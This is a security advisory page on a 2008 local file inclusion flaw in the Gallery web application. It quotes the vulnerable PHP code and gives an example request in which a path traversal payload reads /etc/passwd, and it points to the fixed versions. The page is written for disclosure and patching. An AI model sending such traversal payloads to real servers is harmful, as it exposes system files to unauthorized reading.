Local File Include Vulnerability in Gallery 1.5.7, 1.6-alpha3

2008.08.14
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-035 Application: Gallery Versions Affected: 1.5.7, 1.6-alpha3 Vendor URL: http://gallery.menalto.com/ Bug: Local File Include Exploits: YES Reported: 14.07.2008 Vendor response: 15.07.2008 Solution: YES Date of Public Advisory: 08.08.2008 Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Gallery system has local file include vulnerability in script contrib/phpBB2/modules.php Successful exploitation requires that "register_globals" is enabled. Code **** ################################################# switch ($_REQUEST['op']) { case 'modload': // Added with changes in Security for PhpBB2. define('IN_PHPBB', true); define ("LOADED_AS_MODULE","1"); $phpbb_root_path = "./"; // connect to phpbb include_once($phpbb_root_path . 'extension.inc'); include_once($phpbb_root_path . 'common.'.$phpEx); include_once($phpbb_root_path . 'includes/functions.'.$phpEx); ################################################# Example: http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx =../../../../../../../../../../../../../etc/passwd Solution ******** Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from download page on SourceForge: http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=72 39&abmode=1 More information about release: http://gallery.menalto.com/gallery_1.5.8_released About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)

Referencje:

http://www.securityfocus.com/archive/1/archive/1/495284/100/0/threaded
http://www.milw0rm.com/exploits/6222
http://gallery.menalto.com/gallery_1.5.8_released


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top